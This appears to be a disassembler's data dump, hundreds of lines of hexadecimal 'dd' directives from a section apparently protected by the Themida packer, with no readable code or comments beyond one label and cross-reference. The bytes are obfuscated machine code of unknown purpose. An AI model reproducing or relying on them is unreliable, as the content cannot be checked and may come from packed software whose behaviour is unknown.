dd 0FA68FFFBh, 0E9060849h, 0FFFBFE28h, 84E3468h, 0FE1EE906h
dd 9E68FFFBh, 0E9060850h, 0FFFBFE14h, 851A068h, 0FE0AE906h
dd 3457FFFBh, 0C0DA988Ah, 4E6A081Ah, 0E404BAA8h, 6D8A283Ah
dd 2B735BC9h, 0E7751136h, 1301A1C1h, 8C9E345Dh, 3D2FCBEEh
dd 8FDBBA63h, 49A1A9C4h, 0E0054A21h, 0FA3C42DBh, 0ACCB4740h
dd 9C98B0Ah, 316D4849h, 23837614h, 0C1F66406h, 754CE9C5h
dd 0ADA455B2h, 58FB5EC6h, 0CBE8B411h, 867C8A2Bh, 0CEA1C0B5h
dd 0A1A2C584h, 0E1011BB8h, 0AE985E35h, 3BAEh, 10743500h
dd 0C07C1732h, 53D2B457h, 80E33ECBh, 0ADA491EDh, 0F0B2970Fh
dd 2A4530D2h, 0A291034Bh, 0CBE63FA1h, 0A291FEE8h, 681636A1h
dd 34691C84h, 8E6416D0h, 0D2DDAE98h, 0E6000000h, 9472C362h
dd 7C5DFD19h, 6A1FDC86h, 8C0DADC8h, 8C0DA9CEh, 8E0FABCEh
dd 1301A9CCh, 0A195257Eh, 23688DA7h, 6C470A3Dh, 0A7A1B27Ah
dd 0BEBD1C84h, 113D39Eh, 25A44663h, 0B3967410h, 0B534D6F3h
dd 0E8CB06F3h, 0ADA49D6Dh, 1605178Fh, 9AB19472h, 0A29CAF3Bh
dd 1CE9A9A1h, 348FAAC1h, 0A1A29CA2h, 0BE11E45Ch, 0ABA42DA7h
dd 0BD54F1A1h, 0E1235FB9h, 1433C61Dh, 0BA5B26F9h, 3A6B81D5h
dd 0CDB85A78h, 0A6B45271h, 2441E300h, 85450786h, 0C30DDC15h
dd 0AFB62B28h, 0D02h, 46D47A9Dh, 0F6640620h, 60F294B0h
dd 96842A42h, 113B3D0h, 577CE535h, 0E70FADBFh, 7A9BD94Bh
dd 11344AD8h, 7CD9FB69h, 0A9C57565h, 80FB83A1h, 2A38DE05h
dd 5BC97194h, 3210741Ch, 9111BC17h, 387AADA4h, 5D787919h
dd 0A2921442h, 7232E2A1h, 10910187h, 0A2927571h, 0B28A49A1h
dd 988DC670h, 0DB3FAEh, 5440000h, 0FBBB3AE0h, 0D8BB3ADCh
dd 0A7A185C3h, 0FE6C0E2Bh, 0FCFD9DB8h, 4AEFCBCFh, 0A49DEC6Bh
dd 7BAE41ADh, 0A7D685A7h, 6029381Ah, 9959BFF4h, 9DB878ECh
dd 8F89C9C2h, 744F6005h, 0A1A28462h, 9164249Ch, 0E5A9484Dh
dd 0C3233F08h, 72D8DECDh, 7E3E39B9h, 623E5A8Bh, 4BEEAE44h
dd 0A4BCE268h, 0B99C04ABh, 2A38DE05h, 0F197B3F3h, 0F3B534D2h
dd 0C7EC4633h, 0D8CBF2Fh, 0E69B28C4h, 0C1DFFh, 0BF5F7800h
dd 4FEB0FADh, 0DD799FDDh, 6F0F294Fh, 0FE98BFFDh, 5B00186Ch
dd 0EA889A3Ch, 862436CCh, 1351C35Fh, 0BCC654F6h, 0C6580E61h
dd 16A6A1A9h, 6C47629Dh, 0A7A1807Ah, 80E4F2CDh, 0A212A7A1h
dd 6F9456CEh, 0E396D6D7h, 90822443h, 3EDCF9B5h, 30DAFFBFh
dd 4A3FFFB1h, 3F2DCDE8h, 3AE00540h, 99F2441Fh, 0CCCD6D89h
dd 749E2D8Ch, 27CB9FF6h, 8D35A7A1h, 5B938CDh, 7821DBE0h
dd 87383E17h, 226655C7h, 0A38EE144h, 0CDADA411h, 3D715455h
dd 98B07218h, 0CA8003F6h, 0F6A1A268h, 0B92180DFh, 47A1A268h
dd 93692ADFh, 97B7A753h, 710AEh, 5EAB0000h, 87Dh, 32107425h
dd 0A659BC17h, 13B2ADA4h, 3BA10707h, 4A62200Ah, 966325A4h
dd 24038232h, 0DFAA486Eh, 7D9A4267h, 0E2FDD8D9h, 0A1A232F4h
dd 12D29202h, 0A3476200h, 11314322h, 7F1C08E6h, 5BBA559Dh
dd 4AFE9553h, 0D9FCB643h, 688D2331h, 82F67C2h, 0B9D89B6Eh
dd 0CAE6C9CEh, 0EA55B714h, 7B392BCFh, 0F09EBE5Eh, 189AB130h
dd 195B5AFCh, 0C9FEF56Ch, 7E1FCAE6h, 7416339Eh, 5A5C0E6h
dd 0F7D3B784h, 0D7F07352h, 0B24DC0E3h, 0CF54A5ACh, 63E19459h
dd 0F3F290B1h, 4363F1B1h, 0D7FDB1F1h, 0BB4795DEh, 0E0A0BB97h
dd 29DAAFE1h, 0DDB4916Dh, 0DEEEE85Ah, 461906BEh, 0FCFFE601h
dd 3507C4C0h, 2DCAABCFh, 4F2603C3h, 0FAFAD494h, 0FCC1C070h
dd 54465B98h, 0B4A12BFEh, 307E51F4h, 5EF0C647h, 264343E6h
dd 0C6C76386h, 0F9B96184h, 0BC7C1E3Bh, 0FD2599h, 0C9A739A1h
dd 9F5FC7C4h, 0E63D18EAh, 0C9A7DB8Fh, 4DF10BC4h, 0B0600C4Ch
dd 0AE4C69C5h, 22F4173Eh, 726DE480h, 0A4Eh, 92802E49h
dd 210BADCh, 0BCAE486Ch, 2230DEFEh, 5DCF678Ch, 0B283149h
dd 9BBBF96Bh, 2E571507h, 0C5E08694h, 0B06D3725h, 0A9C889D1h
dd 4C2777A1h, 35DBE005h, 42146FBBh, 0BCA7A139h, 0C34A504h
dd 35363FFCh, 9C9F7D0h, 30C65949h, 9C551CBBh, 9F985h, 0DB83A400h
dd 6B0F2B49h, 0F99DBBF9h, 8B33556Bh, 1ABCDB99h, 87DC3C08h
dd 1654C660h, 0A2C052F0h, 3F7DEF83h, 0D0E2701Ah, 0C87C6A45h
dd 0F29AA1A9h, 3AE005F9h, 3ADCFBBBh, 0FE388428h, 0FBFAA4C4h
dd 8307CCB9h, 602382A7h, 0B4ADA4B0h, 594C130Ch, 0E46F5DF5h
dd 0CC67C2A0h, 8B4AC002h, 9AB144A7h, 64FF203Bh, 13316D6Ah
dd 92028673h, 3FDBFFB7h, 680BFEBEh, 0C6633F5Bh, 0F3168CABh
dd 77165657h, 6A62FF63h, 0F150259Dh, 60648BB1h, 50FC1C96h
dd 52129333h, 5061E792h, 0E9040520h, 0E742020Dh, 8AECAC8h
dd 6A4C17Dh, 97335614h, 84AB1207h, 7960E1F0h, 942h, 86943A5Dh
dd 3624C6E0h, 0A0B25470h, 0D644EA02h, 41D37390h, 173C2575h
dd 0A7CFED7Fh, 3A5B190Bh, 0D1F48A98h, 0BC993B29h, 0A9C9B525h
dd 403B43A1h, 7A6C4762h, 84A7A180h, 0B0D5691Ch, 0B1102F0Ah
dd 0A7A18029h, 3FAB0AD7h, 0D9A7A180h, 0BDDB9959h, 36156C19h
dd 96BD577Ch, 0FFBFF1F0h, 0E989A80Ah, 4360227Bh, 22E280A1h
dd 0D4A14160h, 0A1818D7Dh, 523054A7h, 0C54F9CF7h, 0B89ADA9h
dd 0AE8B4BEFh, 0B435CDF4h, 0C8CA01F4h, 591F0DADh, 5F1F9E3Ch
dd 5F1F9E38h, 270C9C36h, 0F422C311h, 8A0627Dh, 0DCFF0000h
dd 68822032h, 0F61250C2h, 8CACC250h, 153270E2h, 839BE371h
dd 0F1DB9DEh, 0BBA94969h, 0D446DC05h, 45D77396h, 0D783E23Bh
dd 21A1A9C9h, 0E0052299h, 7EA71F3Ah, 1C5E11E4h, 25051F9h
dd 0E500AF8Dh, 5FF6D745h, 62B5BD8Bh, 6F926724h, 0B49AFFBBh
dd 56024h, 87ADE100h, 74A11AEFh, 0F8173210h, 0F9E74359h
dd 1FEAC151h, 0A94E5784h, 54F1A1ADh, 8D9F3B5Eh, 44126D88h
dd 0B2A1A94Dh, 0C9CE7702h, 30484AEFh, 0B84D0F8Eh, 0ECC7E239h
dd 0A1A94DFAh, 76E99C04h, 270520ADh, 28FA52F1h, 3526697Eh
dd 2EE7h, 0F74FC00h, 0C5F91431h, 1C3AF89Eh, 4610F386h
dd 0B0A7A180h, 38EE8100h, 9CC808E3h, 11C565C7h, 8A943441h
dd 7, 23F5E11h, 74250000h, 9F173210h, 9DDFDE78h, 80B1D9B8h
dd 0D74FA7A1h, 0ADC8E722h, 5736D4F1h, 0A7A18003h, 0D1B045FDh
dd 0ADA9C4E4h, 1635B46Ch, 0D1D07A9Ch, 606BEA9Fh, 0AAA1A9C4h
dd 0B7F7F68Ch, 0A6F4F591h, 34A60BE1h, 1F7BB597h, 28CBE643h
dd 1A7C57A8h, 956242B6h, 9CC2A607h, 0A73D2A7h, 8EABA1BBh
dd 3506DF7h, 9858D53Fh, 37CFF48Ah, 37CFF4B6h, 0D4769012h
dd 8FE693D5h, 8D0CA6CFh, 8C0DADC9h, 0D57AD2E7h, 5CC359FEh
dd 0EF8D9F37h, 0E8AA2BC7h, 1CA928CAh, 14329D7Fh, 0FF2EB81Bh
dd 6828ABB1h, 8527BAA8h, 79ABB100h, 0FB9BB858h, 6E8B293Bh
dd 80D6A9h, 0C67EABB1h, 0D796D1E7h, 0D69617D1h, 0F74AED7h
dd 0E6F91431h, 0A7A180F0h, 1AE3960Eh, 0BBA43E64h, 0E5A2DF07h
dd 78932B41h, 2D57CC8Ch, 0A9557788h, 0AC526A28h, 4E0B32Dh
dd 6E685A7h, 9AA432E4h, 0E004BEB4h, 0E681B346h, 1A000003h
dd 62042062h, 0DE542163h, 51FD1FB9h, 33521050h, 92DEDF9Fh
dd 0B5973402h, 0EC49ED0Ah
dd 3E521A55h, 8471A968h, 7B1B387Eh, 0DAF9B5E0h, 0BF5B7E3Ch
dd 2B8B7E3Eh, 7EC770Bh, 75905AB2h, 0A1CB4C1Ah, 146F8AA7h
dd 0A7A1CB42h, 0B14404BCh, 2F30D6FDh, 0D5D47693h, 0A1CB3BB2h
dd 886C23A7h, 0F4660421h, 12B6DDD1h, 105051F5h, 0E809A550h
dd 0A1284B4Ah, 0A9A7A1CBh, 0CAC812EAh, 0C98B0AB0h, 0C15F863Ch
dd 0C08001A1h, 4544EA02h, 0B0D14303h, 0A7A1C6B2h, 4B26D568h
dd 2799B49Bh, 22FFFFFFh, 283AE005h, 0CACB6F8Ah, 0A18020ABh
dd 87653AA7h, 0F85DFD18h, 73069CBAh, 0A6CDE3h, 2213EE81h
dd 2E677815h, 0D5799313h, 0D221A234h, 11E45C77h, 9C4E987Ch
dd 5E427FEh, 69h, 9CCAA5C0h, 7A77D22Dh, 2D92C4DFh, 0B46C77D2h
dd 749401F4h, 0BC173210h, 0ADA9C447h, 315051C1h, 0A1A9C4AAh
dd 0B575D78Ch, 0AE936A01h, 217Ah, 3E675F00h, 59EA2345h
dd 59196040h, 0E86D1858h, 0A18BC026h, 0E02B32A7h, 0B2FFFFFDh
dd 185Eh, 0B65E2500h, 7B000002h, 8015455Ch, 302EA7A1h
dd 0ACD9F821h, 53269E72h, 6C4762EAh, 0A7A1807Ah, 0D5691C84h
dd 42146FB0h, 0BCA7A180h, 4445E106h, 5844404h, 94862441h
dd 2207E3A7h, 1C5ED883h, 22D7C17Eh, 0EB0D8CE7h, 0D26FADA4h
dd 0A20AE7F3h, 0E1A111A1h, 0AC581E0h, 5AF9A1A2h, 5F7A38C2h
dd 8F7A3ABBh, 98199E48h, 4C07AEh, 0C0C20000h, 42E001A3h
dd 0B4410143h, 321074C7h, 9111BC17h, 387AADA4h, 397B7A1Ch
dd 5958D84Ch, 0A2924C06h, 0BA6484A1h, 0BD617B3Bh, 15F7A43Ch
dd 0EB411EA8h, 988D8F3Bh, 0EFC61DAEh, 0A1A29EFBh, 38E89D05h
dd 0D9h, 0E280A11Dh, 0E005A617h, 0AD441F3Ah, 8D36B714h
dd 6B2B4A3Fh, 6B2BAA4Ch, 1D04D4Eh, 0FC9CA798h, 0DCF9BD3Ch
dd 70AD2C3Eh, 0BEA7A11Ah, 3E6DFF9Bh, 0E5D97C5Ah, 0E5A726BCh
dd 7DEF510h, 0D5ACAEB4h, 0A7A17585h, 0F0E2C373h, 25BC498Eh
dd 0ADA753AFh, 0DC8AE500h, 3AA1A7ABh, 99198F7Ah, 82D61BCh
dd 0E1A14160h, 0DD799E14h, 841C3A78h, 7207C75Fh, 0E0A5C2E0h
dd 10730D29h, 0B3D795B6h, 16D69617h, 0C153A786h, 0E2FD7422h
dd 466h, 0FA681631h, 6AF8A2C4h, 84963054h, 0A18C6E6h, 0A5B74F74h
dd 0F3104951h, 83A3C153h, 163F7DEFh, 0ADC8EE7Ch, 0D8451F0Dh
dd 0A9CE91F9h, 645F6FA1h, 2A38DE05h, 0B1CB7194h, 49E84D0Dh
dd 0F2CDFBF3h, 0A7A178E4h, 7203A212h, 4EE9BF9h, 38E0055Fh
dd 3D7F7E20h, 30B15D7Fh, 1A31B070h, 0DADB7B98h, 1DBDD89Ah
dd 0BAFCA68h, 906E2A19h, 0FBCF1AB5h, 7F4FDAF9h, 0F5744F8Ah
dd 4EADA4CAh, 16972F54h, 752DA356h, 0F25B1574h, 7593A1A2h
dd 7492D0D1h, 0A176DFDEh, 19C1E44Bh, 30148B59h, 9BBE9CF8h
dd 0A7EC3938h, 0F163D3ABh, 4DE8C6C2h, 0AF4BE172h, 8AAF17A1h
dd 0D84AEC08h, 0AF53D7B9h, 4CE60FB5h, 5FC3DEh, 628A0000h
dd 93660820h, 0A180BA30h, 0AF8303A7h, 3FD9FFBDh, 3EBF7F1Bh
dd 0A1800B5Fh, 27BBDBA7h, 18C2E4A6h, 125E799h, 0D8983A5Bh
dd 0D87EA5D9h, 0ADCEA7D9h, 7409E24Fh, 6B0B2990h, 215F37CEh
dd 327C19B9h, 0D8F9BF47h, 269CBB3Ah, 24646501h, 0D1A44266h
dd 0A140777Eh, 58BC63A7h, 2032D0F1h, 44DC05BBh, 61C4841Eh
dd 9461092Dh, 0D87899DDh, 0A240FFC0h, 0DD2ED834h, 0E5C5D1Dh
dd 0E50CB389h, 0ED014928h, 47FFA7A1h, 0C8E0A287h, 0CE835326h
dd 0A7A1F91Ah, 902C7829h, 0AF6FCB26h, 9B7AED92h, 572E45B4h
dd 0A7A1B103h, 0B18DDDB4h, 0CB4BA7A1h, 5A8A7F27h, 0FFFFFF4Bh
dd 3AE00561h, 5B2441Fh, 5FC16AAAh, 6E8BCBAAh, 2D695ECCh
dd 9ABEF451h, 0CEBBFDFCh, 25DF413h, 0AC5936E0h, 6928AB5Eh
dd 0CAADA409h, 4747B12Bh, 1EEB5B52h, 0E88B0A8Ah, 0A1A200E2h
dd 96887DEh, 0A1A20041h, 517207BFh, 237F2BFBh, 0B1EDAE98h
dd 0B5F7F694h, 3010C0h, 74AB0000h, 0BC173210h, 0ADA49111h
dd 625EDB7Ah, 0E4292BD6h, 8203B311h, 0A2BAEBE3h, 0DC38D7A1h
dd 98655802h, 0B9DED4AEh, 29DC9C1Dh, 9EE7h, 0E005FC00h
dd 0DCFBBB3Ah, 0DEFBBB3Ah, 7FA5193Ch, 0D3A6E6E7h, 13B7D290h
dd 855B4001h, 7693A7A1h, 0AC4746D4h, 0FB4EEBB6h, 5DD1A4C3h
dd 22139238h, 0D2AD8866h, 0ADA4140Bh, 0B2F055CDh, 0B3F5F49Ah
dd 8B0F3CC6h, 0AB2B8AAFh, 4DABA4E2h, 153270D5h, 33B25473h
dd 0DA3B171h, 0E75040E6h, 3428C450h, 1FCA2BDh, 809B0000h
dd 0C2E4CDEh, 9ABEFC6Eh, 30486EFCh, 0B9DE9C8Eh, 0DF3F0F1Dh
dd 0ABB95D7Ah, 0C755ED15h, 70E280A1h, 0E1731732h, 7B6F46DFh
dd 85A1A9D0h, 0DE05FEF5h, 71942A38h, 741C5BC9h, 7C173210h
dd 550F0C55h, 0BB5B78F4h, 0F0D30EFBh, 0ADA481DDh, 0F529F36h
dd 0D5CD3C7Ah, 0F5F4AC20h, 0A2F6D892h, 53F310A1h, 53F31052h
dd 4A1C7752h, 0B4A1A2F6h, 2507940Ch, 99422399h, 8545D5ECh
dd 6EB89C33h, 0AE9879BCh, 0C025h, 0E005BE00h, 0DCFBBB3Ah
dd 0C59CBB3Ah, 0CF3F6D35h, 0B22DD8F9h, 0A7A15769h, 0EE0B8BA6h
dd 573DAD4Ch, 0CCF5A7A1h, 19F5B736h, 3356EC99h, 0C2E78597h
dd 0F0949918h, 79EA1FF3h, 6222D989h, 0AF75ECC7h, 0E4DEADA4h
dd 0F96F1AC4h, 0A0E42B39h, 0A94867C2h, 0FB91547Bh, 0DAB5407Fh
dd 0ABA4F23Bh, 0C2C065DDh, 3A1301A5h, 9D2841Fh, 742CABA8h
dd 60062D81h, 0C4561170h, 78631E28h, 0FAh, 4EDC82A5h, 0FE6C0E28h
dd 68FA9CB8h, 9E8C324Ah, 91BBBD8h, 5F84DD3Dh, 0EF1755C7h
dd 82A3C153h, 193C72E0h, 44D1E371h, 0A9D17D6Dh, 0F8F39BA1h
dd 2A38DE05h, 0ABCB7194h, 0F7D69617h, 872B7355h, 0A2B07074h
dd 3AE00535h, 3CDEFBBBh, 0D2D0EF2Eh, 677312B8h, 91A7A180h
dd 0A2446321h, 6F946123h, 0A8EA4F2Bh, 0AAEAEB8Bh, 6EA4560Bh
dd 90650EFCh, 99251A75h, 0F3A3ADA9h, 0F595B0F2h, 0E3244167h
dd 3E284A3h, 0A1A92157h, 1433F1A1h, 5033B272h, 0E1CD72A3h
dd 0C06FCD92h, 511705A5h, 57179634h, 4A088935h, 4B0B8A30h
dd 0CC6E882Ch, 0CACB8BCDh, 0D378DC61h, 1E819B38h, 9F375DFBh
dd 9011B9DDh, 1E3510D0h, 8D74D387h, 51772DE1h, 0B47434B5h
dd 5A7F3DC1h, 0FF1A31B0h, 8D74F2E4h, 0E1940CE1h, 1516h
dd 47625D00h, 0A1807A6Ch, 391C84A7h, 0A18030A6h, 0A356CEA7h
dd 0E2051067h, 0DCF9BD3Ch, 0D6FFBF3Eh, 0D9F9BD3Ch, 2 dup(0DDFAB839h)
dd 0E2FAB839h, 0DBF9BD3Ch, 0DEF8BA3Bh, 83FABD3Ch, 348904ECh
dd 81E68924h, 4C6h, 4EE8300h, 5C243487h, 7A0B68h, 240C8900h
dd 5E08950h, 4, 8704E883h, 895C2404h, 0BF572404h, 6084452h
dd 685F5957h, 7592h, 83242489h, 58042404h, 2F685553h, 5D512761h
dd 0C106EDC1h, 0E5C108E5h, 8C58103h, 89DB13E0h, 0C3015DEBh
dd 0FF5B0B89h, 81582434h, 4C4h, 240C8B00h, 81E68956h, 4C6h
dd 4C68100h, 87000000h, 0E95C2434h, 0FFFBEF14h, 67B69D28h
dd 0CD2E5F20h, 52C21D1Fh, 0BFB8A89Dh, 3060852h, 6DE0FFC5h
dd 4C66C3B4h, 0E417F62Ch, 0AE547A79h, 7B26D8CBh, 0B4A79F8h
dd 4B6102C1h, 20746431h, 9334C61Ah, 319520Ah, 0CC4AA511h
dd 0EC1456AEh, 0DB448FF1h, 9A67E8A6h, 603A3170h, 734289A7h
dd 16007B2Ah, 0E33E82A4h, 0B8798858h, 146D61BAh, 7B35FF75h
dd 958EE8Eh, 0EE01CCC3h, 8D37925Ah, 854898Dh, 8947B206h
dd 331D18Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 8E0FDF72h, 6
dd 23598589h, 7E90603h, 41000000h, 6A9B441Dh, 85C7B552h
dd 60301E1h, 72E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 0C6C35747h, 13FF8928h, 1AE58529h, 85C70603h
dd 60321BDh, 0
dd 1BDCF681h, 0B5FF3237h, 60321D9h, 10E9h, 2158B300h, 0BBBB2796h
dd 0F7C5CBEFh, 255CDEF0h, 9195FFB4h, 6A060326h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 0AF91C353h, 0AF008368h, 6AC321h, 1FB995FFh, 0C08B0603h
dd 5ACA09EBh, 82DF06C1h, 0E821DA25h, 5, 2DD5ABFBh, 0BD8B5856h
dd 60304E1h, 6836C081h, 10E90000h, 0CD000000h, 0E290214Ah
dd 62F7A73Bh, 0D2F32659h, 0BA840072h, 19E5h, 6810Fh, 0B5890000h
dd 6031281h, 0FE8308Bh, 17000000h, 0EDB797E5h, 83B52DFAh
dd 639F9C7Fh, 0E380D75Dh, 0F6815926h, 16CEE3C1h
dword_591168 dd 0CDC681F9h, 0F03AD11h, 581h, 6B7FBB00h, 0C681579Dh
; DATA XREF: Themida_:off_55F1FFo
dd 78E88808h, 609BD09h, 30890603h, 0CA8CA2BBh, 8CE88119h
dd 0F32BC7Dh, 38Fh, 0CB8B6600h, 7D88C081h, 9D8932BCh, 6031B15h
dd 1EA81h, 850F0000h, 0FFFFFF94h, 8D8DF88Bh, 6085603h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0C8C35343h
dd 3276EB1h, 0BA667E80h, 8D89C953h, 60331D1h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0C1C35040h, 3A67E065h
dd 3FE0CDA9h, 6810FFAh, 8B000000h, 31B7D85h, 0E185C706h
dd 2C060301h, 0F000062h, 680h, 0A1858B00h, 0C7060317h
dd 321BD85h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 0DDBE66D7h, 0D9B5FF00h
dd 51060321h, 5F5FF953h, 269195FFh, 958B0603h, 60308BDh
dd 95FF006Ah, 6031FB9h, 9EBC08Bh, 3ED2A770h, 0AE380F4Ch
dd 0D99D8D87h, 0B8060323h, 39h, 1B118589h, 0E80603h, 58000000h
dd 0D05h, 0E9038900h, 39h, 0Eh dup(77E60000h), 0B0E9FFh
dd 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h, 3135985h
dd 36840F06h, 3B000000h, 32D1185h, 2A840F06h, 3B000000h
dd 3017585h, 1E840F06h, 3B000000h, 3234585h, 12840F06h
dd 83000000h, 32935BDh, 840F0106h, 5, 5FE9h, 3D08B00h
dd 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h, 0F8C2h
dd 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h, 840FC985h
dd 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h, 0FFDC850Fh
dd 0DE9FFFFh, 8D000000h, 34D1C9Dh, 5B806h, 0E3FF0000h
dd 0D00BC361h, 58258D8Dh, 6A0608h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 1AFAE8C3h, 37D3DCBAh
dd 48D0FE8h, 66000000h, 89A91BBBh, 331D18Dh, 199D2906h
dd 0C706031Dh, 301E185h, 59D806h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 1E860064h
dd 0FB0CC3ADh, 6BBE66F7h, 9E8EEh, 56E30000h, 0DA19897Ah
dd 298B6E6Dh, 3284595h, 85C75E06h, 60321BDh, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 8AC35141h
dd 9C3717FCh, 0B2358DD7h, 31B5FF7Bh, 0E906031Ah, 0Dh, 9DE3516Ah
dd 2EE8FB4Fh, 0DAAFB380h, 9195FFA3h, 6A060326h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 8FFDC356h, 0B06746F0h, 0CAF0F781h, 6A3B4Bh, 1FB995FFh
dd 0C08B0603h, 182C38EBh, 0B78E5C59h, 6E30DA8Ah, 1DBEC4B0h
dd 7632512Bh, 4A27EF47h, 0DAE7D9B3h, 0F581F3EBh, 0BC7A3BB7h
dd 2D62A9Ch, 735EEFE8h, 0A2824AB4h, 9209E79Eh, 0C80AE239h
dd 0DE8F53Bh, 0FC000000h, 0BD90229Dh, 0D36315DBh, 0CBB35CCCh
dd 0F58F58Ah, 1B8Fh, 14E95300h, 0
dd 3E64669Bh, 216CC4EEh, 0C4BDFBA2h, 0FCA92B75h, 5F7ECF3Ch
dd 74FBC081h, 8D8B0000h, 6030C05h, 1CFEBBh, 0FE800h, 0C1080000h
dd 0ECD13B24h, 4DBEF46Eh, 1C6643FEh, 30FF5A85h, 3175BD8Bh
dd 0E95E0603h, 14h, 0F90882E8h, 0D2E04AE2h, 8E19A5D1h
dd 0F39B5B8Ah, 0B35DA7B1h, 0E77DC681h, 8D8B1E78h, 60310F9h
dd 0CB5BC681h, 0BA6066F7h, 0F85C23Eh, 5DD8D8Bh, 81610603h
dd 2B8EE4F6h, 73BF6635h, 0F605647h, 0A89h, 5E900h, 993D0000h
dd 0B70BD120h, 8F6124h, 83CF8B66h, 8F0F02E8h, 5, 0BC223FB9h
dd 8948480Fh, 31C8185h, 1EB8106h, 0F000000h, 1885h, 15B58900h
dd 0E9060332h, 1Eh, 2B2E55EDh, 786E8808h, 4149BD9Eh, 0FFBF0FCAh
dd 0FFFF59E9h, 7B6ADAFFh, 0F015D6F7h, 23E914ACh, 0F000001h
dd 18Eh, 0B58DFC00h, 6085A04h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0B4C35343h, 0B70F601Eh, 585060FFh
dd 8E0Fh, 61610000h, 6840Fh, 60600000h, 61FB8B61h, 5850Fh
dd 0F600000h, 8D61C7B7h, 64BD485h, 0FE906h, 9F090000h
dd 3DFB2236h, 55036A32h, 0BF692764h, 0FE91Bh, 0ACA60000h
dd 0E3C36A72h, 0FA393AD7h, 0B3D41DD1h, 0F5D0FFA3h, 0AE9C3h
dd 0E5290000h, 271A1949h, 0B442ED0Fh, 0FCD98C66h, 0F04C1F6h
dd 5784h, 128C0F00h, 0E9000000h, 0Dh, 5FD9FB8Eh, 50329321h
dd 7B8AAEC5h, 18F0FD7h, 0FC000000h, 0CB8BFB8Bh, 75AEC032h
dd 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh
dd 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h, 1B8FAh
dd 9EB0000h, 0E4EB008Bh, 0B8h, 0BE9CF00h, 45000000h, 0DC3984D2h
dd 0B494E918h, 13E9DC25h, 0A7000000h, 0E34E49E0h, 0DDCFF130h
dd 9212217Ch, 0DA5D4C54h, 85C746E9h, 6085A48h, 1013Fh
dd 60EBh, 17h dup(0)
dd 8EE90000h, 0E900000Ah, 0A82h, 861DC68h, 224FE906h, 5668FFFBh
dd 0E9060863h, 0FFFB2245h, 863BB68h, 223BE906h, 7100FFFBh
dd 0E8B5184Ch, 56388DC3h, 0C2AA3FADh, 35DAAF3Dh, 0AB6AD88Ch
dd 0F3911AFFh, 67658A6Eh, 95FB0092h, 4486D00h, 74ED3D7Dh
dd 0C8710695h, 462ABB38h, 5830B559h, 0A926A60Dh, 3351563Ah
dd 8826C7AEh, 3B4CAAD7h, 9D1B35B0h, 699260CDh, 0F9FE927Fh
dd 0BC6D02EFh, 2FB2DADFh, 0A326A647h, 0B21F49D4h, 29B4D4DDh
dd 4528A045h, 0F35E0EB3h, 6C916122h, 0CA82697Ch, 9AD4D2BDh
dd 6A7778Eh, 6402C975h, 9DCFF481h, 78326CC8h, 751B0895h
dd 660BE14Ch, 0FF009495h, 4C337C10h, 933810AEh, 767106A6h
dd 0EFF90297h, 0F36CBCFAh, 497106A6h, 580F2682h, 0DDCAAD30h
dd 4ED3B53Ah, 0D5B807ACh, 0B2D6BD42h, 0A2432AC1h, 0F0AC2FC1h
dd 1836088h, 8E6A8F6Ch, 8074F9FAh, 7F986D56h, 23h, 8E6C01F8h
dd 8A666365h, 0D253553Dh, 0F0B02901h, 590C770Eh, 2A8201E4h
dd 0F1C3A049h, 2E5A72h, 0F0D90000h, 1836088h, 0EF0B029h
dd 0BB38AD77h, 492A8201h, 459D3C6Ah, 0B8D9AD96h, 0A64B7DDAh
dd 857EC543h, 2DFDB7F1h, 770EF0B4h, 6CE75D08h, 4B6785F0h
dd 120831FFh, 3E78EF75h, 4B21CAAFh, 0C87E1B23h, 968A710Bh
dd 2A4E5642h, 0B055936Ah, 0AF5020DDh, 4C5DBFC0h, 804B293Ch
dd 1463624h, 0F0410000h, 94476389h, 0D6B1E350h, 0BDFB711Dh
dd 0EE3EC6Dh, 0F3954077h, 6266876Eh, 0A2432A71h, 0F0AC2FC1h
dd 2B836088h, 35F6986Dh, 7AF65D62h, 568074F9h, 337F986Dh
dd 0F8000000h, 836088F0h, 0F0B02901h, 9A6B770Eh, 5C75F3F8h
dd 82013489h, 0C3A0492Ah, 395A72F1h, 1C000000h, 0F04DC662h
dd 0F7B3770Eh, 0EF0BA53h, 0C4530677h, 88F0EB68h, 29018360h
dd 770EF0B0h, 1BB38ADh, 886C0182h, 17E48967h, 6C011192h
dd 451668Bh, 91886D18h, 4FB4523h, 476389F0h, 0EF056E3h
dd 5B17C277h, 0F11089A1h, 0F96C770Eh, 0EF866B03h, 491C9ACEh
dd 29AA06ABh, 0C1A2432Ah, 668B6C01h, 0E5856366h, 6088F0F6h
dd 986D2B83h, 0F095F7F8h, 8074FF74h, 7F986D56h, 3Fh, 6088F0F8h
dd 0B0290183h, 6B770EF0h, 74F0F99Ah, 1358E5Dh, 6567886Ch
dd 678C6D60h, 2AD0CF89h, 0DB65849h, 5E01CDA6h, 5DD390F6h
dd 68C0FE7Ch, 770EA1EFh, 94229E4Dh, 2C5ADFh, 0F0D90000h
dd 95466088h, 0AE8EBF23h, 0E86BC1EAh, 0D5A64701h, 0DF78502Ch
dd 0FC770EF0h, 82019469h, 0BB58492Ah, 1CAAB36h, 8967886Ch
dd 0E15A403Fh, 0D9000000h, 476389F0h, 2EFACEA6h, 770EF0B5h
